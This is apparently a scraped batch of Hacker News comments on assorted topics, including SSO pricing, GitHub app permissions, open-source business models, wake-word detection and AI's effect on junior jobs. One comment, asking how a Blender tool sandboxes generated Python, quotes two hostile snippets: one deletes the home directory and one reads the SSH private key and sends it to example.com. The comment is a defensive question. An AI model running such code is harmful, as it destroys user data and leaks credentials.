MurphyA/hacker-news huggingface dataset:
by aspenmayer | 2025-08-19 20:14:03+00:00
Closed source sells because open source devs don't know sales or marketing. In many cases, developers are the only users that the devs even acknowledge.

Just look at the successful/popular open source projects. There are nearly no paid open source apps, though most of everything is turning into software as a service.

Open source is built in such a way as to make outside investment very difficult to justify by most private investors. Why pay good money for something you already get for free? This is a flawed metaphor, because investors aren't purchasing anything, as investment isn't a transaction, but I think that's why we don't see more sales and investment in open source. It seems fundamentally ill-suited toward those aims and ends.

I think successful open source businesses are outliers, and as such are pretty interesting. The only recently founded one I can think of that does hardware is Flipper Zero. I'm sure there are others.

I'd be curious about who others think are the outliers in this reading, as those are folks whose work I'd love to hear about.
by enzovt | 2025-08-19 20:14:04+00:00
Yeah, no EU support yet :S. I'm sorry for that. I'm working on it but for the EU it's really hard since i need to overlap the elevation DEMs (which countries make so hard to find high quality ones, and for EU it's split between all the countries). then that has to be overlayed onto the osm data and then finally computed into nodes etc.

But working on it! Schools also starting up soon so yeah, give me a bit :)
by simplyinfinity | 2025-08-19 20:14:16+00:00
I self host a bunch of apps that have SSO as enterprise feature. i want to invite my family/friends into these apps, i don't wanna spend additional 20 000$ for the SSO part, but it be real sweet if i could use it. It would eliminate so much questions like "hey.. what was my login to X?" or "can you reset my password to Y" if i could just use SSO.
by anoojb | 2025-08-19 20:14:29+00:00
You want a focus mode plugin:

https://github.com/ryanpcmcquen/obsidian-focus-mode

This is what differentiates Obsidian from many other note taking apps. Anyone who has an itch can build a plugin and customize it.

Unlike a venture-funded SaaS application there's no meaningful commercial incentive or issue with building something that will eventually get sherlock'd b the application vendor in the future.
by willejs | 2025-08-19 20:15:14+00:00
This is a great read, but unfortunately does not surprise me really, it was bound to happen given how people blindly add apps with wide permissions and githubs permissions model.

It amazes me how many people will install github apps that have wide scopes, primarily write permissions to their repositories. Even with branch protection, often people will allow privilaged access to their cloud in github actions from pull requests. To properly configure this, you need to change the github oidc audience and that is not well documented.

When you enquire with the company who makes an app and ask them to provide a different app with less scope to disable some features which require write, they often have no interest what so ever and don't understand the security concerns and potential implications.

I think github need to address this in part by allowing more granular app access defined by the installer, but also more granular permissions in general.
by thegrim33 | 2025-08-19 20:15:15+00:00
What do you mean? Every post and comment can receive upvotes, your account has total upvotes, the dopamine hit is there when you can simply look at the top of the screen next to your username and see the number go up after posting. There's even rewards if you make the number go high enough, such as being able to downvote and flag stuff once you reach a certain level.
by asnyder | 2025-08-19 20:15:26+00:00
I know Liveblocks.io has been making this very easy and accessible over the last few years. They recently introduced AI, and are promoting that of course, but as I understand it multiplayer collaboration (https://liveblocks.io/multiplayer-editing) is their meat and potatoes.

Not affiliated with Liveblocks, just aware of its existence.
by criemen | 2025-08-19 20:15:39+00:00
> Maybe those tools should explicitly confirm executing every external command

This wouldn't work - it's not external commands that's the problem, it's arbitrary code that's being executed. That code has access to all regular system APIs/syscalls, so there's no way of explicitly confirming external commands.

Python/pip suffers the same problem btw, so I think that ship has sailed.
by throwup238 | 2025-08-19 20:16:02+00:00
From the article:

> Fourth, police forces largely remain in the dust. NaVCIS has enjoyed some success, intercepting 550 cars in the past year. But that is a small fraction of what gets through. Mr Gibson is one of three officers on the whole south coast. Britain’s police have yet to catch any high-ups in the business. European forces do not even have dedicated investigation teams. Across the rich world, police resources tend to be directed towards “higher harm” offences.

There's just very few people working on it because it's not a priority.
by OutOfHere | 2025-08-19 20:16:27+00:00
Real harm in this world comes not from these websites, but from government policies that inflict worsening pollution and poverty upon people. The government willingly does nothing about the serious problems, even going in the opposite direction by conspiring with those causing these problems, and instead attacks unsubstantiated pseudo-problems such as what you listed, to appease an uneducated religious minority voter class.

Let's for instance count the number of people that these websites have killed versus the number that guns kill. The counts are about 0 and 40,000+ per year respectively. There is no statistical sense in which the government has their priorities straight.
by mneil | 2025-08-19 20:16:30+00:00
They compare AI to other software but then say it's different because it can do what a human does. So it should be treated differently than other software in the tax code?

The tax code says you can't capitalize the cost of software because it has immediate value. Not to mention that SaaS billing is the way it is to get around this. People do not have immediate value for R&D so the government allows the cost to be capitalized (ie: deferred over time) to promote hiring more people to help a company grow. If you allow capitalizing AI then you promote the adoption of AI to replace the people for the R&D, the EXACT OPPOSITE of a public policy that exists to promote workers.

What are they even thinking? Certainly not about the reason the policy exists in the first place.
by olyjohn | 2025-08-19 20:16:38+00:00
It really depends on the size of the brakes. The real reason to fit bigger wheels is to clear larger brakes for better stopping power. Usually a higher performance trim level will have larger brakes to make up for the extra speed or weight. But that became a styling trend that just trickled down in a lot of cases to "it looks cool" because you see it on so many performance cars. Many cars now have gigantic wheels that can easily be downsized.

I know a couple people who have done it. You get much better ride because you have taller sidewalls, and you're much less likely to destroy a tire when you hit an object. These massive wheels on cars now are totally ridiculous.
by bob1029 | 2025-08-19 20:17:24+00:00
> their output distribution is not uniform or gaussian

https://www.worldscientific.com/worldscibooks/10.1142/7200#t...

> "More in details, Ando and Graziani demonstrated that the Chua's circuit can be used to generate either a gaussian or a uniform white noise. To do this, they investigate the statistical and spectral characteristics of the signals generated by a Chua's circuit with respect to different values of the parameters α and β. They then applied the x^2 method to determine which set of parameters leads to a signal having the statistical and spectral characteristics more similar to those of either a Gaussian or uniform noise. By using this method, a signal with a Gaussian-like distribution is obtained with a confidence of 95% for this set of parameters: ..."

They've got charts of the probability density functions for each that seem reasonable to me.
by progbits | 2025-08-19 20:17:57+00:00
It's not convoluted. Env vars are fine for places where you need the value. If your application talks to service X with API key then sure, give it that via env var (mounted from some secret manager, so it's only mounted in production).

But there are two very wrong things here:

1. You don't send the private key to github like an API key, you use it to sign requests. So there is no reason for any application, even your trusted backend, to ever see that key. Just have it request signatures from a vault, and the vault can log each access for audit etc.

2. Even if you really trust your backend and give it the key, why the fuck does the sandboxed runner get it? And don't tell me it's easy to make a mistake and accidentally inherit it somehow. The runner should be on completely separate node, separate network, everything, it only gets the untrusted code to run as input and nothing more, and gives output back.
by reorder9695 | 2025-08-19 20:17:57+00:00
I think the point they were making was obsidian by default does not upload to anyone's server, yes they sell obsidian sync but they also endorse using synthing instead.

My notes, which can include things like my location, appointments, plans, things I don't want a random company viewing never leave my device, which is the only way you can be sure they are not being viewed without an oss app.
by billy99k | 2025-08-19 20:18:08+00:00
https://x.com/ManDaveJobGood/status/1752500940845072754

Other people had the same idea as me. With data! PPP loans taken out during Covid to thousands and thousands of one-person companies and eventually forgiven by the Biden administration.

To make another point, why didn't we see a surge in art and positive improvements when someone gets free money from the government? Because what happened is what always happens: It was wasted.
by Our_Benefactors | 2025-08-19 20:18:24+00:00
This page is unfortunately pure delusion.

I recall early in my career, I was building out a pilot version of a service. Early feedback was that users loved it, and it looked like the tool would be a good way to build our brand, but not a huge money maker. Cost per seat would be about $15/mo and we expected to sell less than 10 seats per customer. SSO integration would be a flat one-time fee in the mid four figures, and my boss laughed when he explained there was more money to be made integrating a mediocre service than selling a perfect solution behind a traditional username and password login.
Ask HN: Raising high level vision concerns as a junior, internal org takeover?
by jamboca | 2025-08-19 20:18:29+00:00
Hello peers,

I am currently on a high visibility project at my company involving collaboration of many data scientists and data engineers in a non-purely engineering domain.

I am a non-senior data engineer supporting this project and i have a lot of thoughts about the direction of it, how things could be improved, and where we are going wrong. however, i don't have the space or title to be heard out. data scientists feel like they see the platform team as an enemy rather than a power multiplier. additionally, the senior platform engineer supporting this project is spread thin across many projects and doesn't have their hands on the data. yet, they are directing us on how to work on this project. i get very annoyed working with these people as i see and know what the project needs, but instead i am just instructed to follow the lead of a senior engineer who is not really in touch with the needs of the project but thinks they are.

currently we use a complex pipeline which i was instructed to build. i am the most in touch with the underlying data and intimately understand the needs on both the platform and DS side despite not receiving super concrete requirements from the side of the "scientists."

i would like to implement some visionary functionality, high level architectural differences in parallel with current development/platform support work, and then one day say something like "hey, i built a copy of what we are doing but faster, better, etc. here is the proof and let me know what you think." however, it would basically automate the jobs of the people on the platform side, making enemies with at least a few people and especially the lead engineer who makes these calls which i disagree with. at least, i would like the stakeholders to see how our current approach is hindering results and how i have a vision for a better one. however, it's not my place or my title to do so.

i want to just show a director or our manager that i can fix this project without doing it in a hostile way. but i don't see how to do this given the organizational structure/conditions. would it be better to leave and go to another company in hopes of a better atmosphere where i can be heard out for my ideas?

Stuck, Data Engineer
by kmarc | 2025-08-19 20:18:34+00:00
My nightmare is that one of those auto updating vim/vscode/your-favorite-IDE plug-ins That many of us happily use on all the monorepos we work on, at one point invoke a "linter" (or as in this case, configure a linter maliciously) and we start leaking the precious IP to random attackers :-(

In fact, I use rubocop every day lately LOL
Show HN: Wake word detection with custom phrases without model training
by st-matskevich | 2025-08-19 20:19:44+00:00
I was recently working on wake words detection and came up with a different approach to the problem, so I wanted to share what I have built.

I started working on a project for a smart assistant with MCP integration on Raspberry Pi, and on the wake word part I found out that available open source solutions are somewhat limited. You have to either go with classical MFCC + DTW solutions which don't provide good precision or you have to use model-based solutions that require a pre-trained model and you can't let users use their own wake words.

So I took advantages of these two approaches and implemented my own solution. It uses Google's speech-embedding to extract speech features from audio which is much more resilient to noise and voice tone variations, and works across different speaker voices. And then those features are compared with DTW which helps avoid temporal misalignment.

Benchmarking on the Qualcomm Keyword Speech Dataset shows 98.6% accuracy for same-speaker detection and 81.9% for cross-speaker (though it's not designed for that use case). Converting the model to ONNX reduced CPU usage on my Raspberry Pi down to 10%.

Surprisingly I haven't seen (at least yet) anyone else using this approach. So I wanted to share it and get your thoughts - has anyone tried something similar, or see any obvious issues I might have missed?

GitHub - https://github.com/st-matskevich/local-wake
by lyu07282 | 2025-08-19 20:19:50+00:00
You don't have to invoke some sort of conspiracy, the western liberal world is deeply interconnected and its all in the open, you just never hear about any of it. Nothing is secret, they don't have to hide anything there is nobody that would tell anyone. You also shouldn't make the mistake to separate or governments from private interests, they are identical that's the whole problem to begin with.

In 2021 the WEF launched the Global Coalition for Digital "Safety" [1] it includes Google, Meta, Interpol, and any neoliberal goul you can imagine. The push for universal digital identity cards is much older ofc. like (eIDAS 2.0) in the EU [2]

Meta and TikTok already developed AI based age estimation tools into their platforms, then lobby to have have laws passed accordingly. See this from 2023 [3]

There are also companies that offer these sorts of services pushing legislation, how else are they gonna justify their hundreds of millions in valuation? (Like yoti [4] or Clearview ai [5])

[1] https://initiatives.weforum.org/global-coalition-for-digital... [2] https://en.wikipedia.org/wiki/EIDAS [3] https://www.businessinsider.com/meta-rules-children-using-ap... [4] https://www.yoti.com/blog/digital-identity-company-yoti-rece... [5] https://www.clearview.ai/press-room/clearview-ai-closes-30-m...
by kazinator | 2025-08-19 20:19:51+00:00
But regarding this Lottery Ticket hypothesis, what it means is that a small percentage of the parameters can be identified such that: when those parameters are taken by themselves and reset to their original pre-training weights, and the resulting network is trained on the same data as the parent, it performs similarly to the parent. So in fact, it seems that far fewer parameters are needed to encode predictions across the Internet-scale dataset. The large model is just creating a space in which that small "rock star" subset of parameters can be automatically discovered. It's as if the training establishes a competition among small subsets of the network, where a winner emerges.

Perhaps there is a kind of unstable situation whereby once the winner starts to anneal toward predicting the training data, it is doing more and more of the predictive work. The more relevant the subset shows itself to the result, the more of the learning it captures, because it is more responsive to subsequent learning.
by godelski | 2025-08-19 20:20:17+00:00
I think you're right. I rarely use word and so it was definitely running "cold"

I went ahead and did another run and it was much faster. About 2 seconds. So things are definitely being cached. I did a trace on it (Instruments) and there's a lot of network activity. Double the time after sudo purge. There's 2 second of network time where the previous run only spent 1 second. Ran a tad faster when I turned the network off, though ended up using more CPU power.

FWIW, looks to be only using 4 of my 8 cores, all of which are performance cores. Also looks like it is fairly serialized as there's not high activation on any 2 cores at the same time. Like I'll see one core spike, drop, and then another core spike. If I'm reading the profiler right then those are belonging to the same subprocesses and just handing over to a different thread.

For comparison, I also ran on ghostty and then opened vim. Ghostty uses the performance cores but very low demand. vim calls the efficiency cores and I don't see anything hit above 25% and anytime there's a "spike" there's 2, appearing across 2 cores. Not to mention that ghostty is 53MB and nvim is more than a magnitude less. Compared to Word's 2.5GB...

I stand by my original statement. It's a fucking text editor and it should be nearly instantaneous. As in <1s cold start.
by panzi | 2025-08-19 20:20:22+00:00
Do you execute the Python code directly in Blender or do you perform some sort of sandboxing? How do you make sure that the code only contains save instructions and doesn't do something like this?

import os, shutil shutil.rmtree(os.getenv("HOME"))

Or this?

import os from urllib import request data = open(os.getenv("HOME")+"/.ssh/id_rsa").read() req = request.Request("http://example.com/", data=data.encode()) reqest.urlopen(req)
by rlpb | 2025-08-19 20:20:31+00:00
> The difference is that git rebasing is a destructive operation, you lose track of the old version when you do it. (Yes, there's technically the reflog.. but it's much less friendly to browse, and there's no way to share it across a team.)

Just tag v1, v2, etc. Then push tags as normal for collaboration. git range-diff is excellent to inspect the changes if you want to see how a patchset changed.
by lordnacho | 2025-08-19 20:20:37+00:00
Possible futures in my mind:

- Junior jobs become scarce. You either jump to senior very fast, or you are dumped out of the industry. The juniors that make it are those special unicorns that somehow learn everything about the job, including how to do it with AI, within a couple of years. There's a little bit of guidance, but mostly it's the kids who have good taste in blogs/books/videos that end up learning it all on their own. Also the kids who have the motivation to keep studying without a syllabus.

- Instead of junior devs, we just have domain experts who are crap at coding. Quants who can write a model in pandas, but when they venture offpiste, they get AI to build them a monstrosity. Working monstrosity, but if you could code, you would cry. This ends up happening in every industry: there's very few coders left anywhere outside of FAANG, everyone just does the modern equivalent of thinking Excel has solved their problem. Balls of spaghetti the size of which the world has never seen are written, hidden in various domains.

- Universities wisen up about how to teach people to use AI. Once upon a time, they used to teach you how to punch holes. Assembler was taught. Systems languages like c++. Java, JS, Lua. Kids who came out of these universities were somewhat ok for industry. Why not AI as well? There are going to be lessons learned roughly this decade that will be useful to teach the kids. What to tell the AI, what not to. How to leverage it to make the most progress.
by tptacek | 2025-08-19 20:21:03+00:00
This pops up on HN about once a year, and it's worth calling out that the SSO tax has mostly nothing to do with technology or with support costs and mostly everything to do with market segmentation. One of the clearest segmentation signals you get is that bigger, less price-sensitive customers all require SSO (because their SOC2 attestations require it).

You can get irritated about pricing systems that soak price-insensitive customers, but remember that the big price-insensitive customers pay for the price-sensitive customers, which is why this kind of segmentation is practically universal.

Previously, on this, from me:

https://news.ycombinator.com/item?id=29892664
by swyx | 2025-08-19 20:21:47+00:00
even though I'm normally a fan of release early and often, deepseek often loses some impact because they tend to release model and evals on different days. it wouldnt hurt anyone to just wait a day to release both together so that the conversations are more substantive.

ofc deepseek is doing the highest order bit of just train a good model and let everyone figure it out on their own time.
by njt | 2025-08-19 20:21:58+00:00
Just wanted to chime in on my beancount workflow, which you may also want to check out.

I also use vim, and I use it a bit to edit my beancount files, but I mostly use fava, a most excellent web interface for beancount. In addition to having a built in editor (which does formatting and can catch errors and show you exactly where they are), it allows you to quickly add new transactions based on old ones — the dialog box allows you to choose from previously used accounts to speed up input. It’s a lifesaver. I don’t think I would have continued using beancount long term if it wasn’t for fava.

Just about the only negative thing I can say about fava is that it does formatting slightly differently from bean-format. I actually prefer it to beancount, but there are some cases where I prefer the native formatting (like when declaring/opening accounts). So for some months, I will switch from one to another. A minor nitpick, but it’s slightly annoying.
by krapp | 2025-08-19 20:21:59+00:00
I didn't say anything about objectification, I was referring to pornography.

Pornography as a concept in Western societies was entirely invented by Christians. The same concept does not exist elsewhere in the same form except where the influence of Western colonizing powers forced it upon native cultures, and I guarantee it did not exist 46,000 years ago when the Venus of Hohle Fels was created.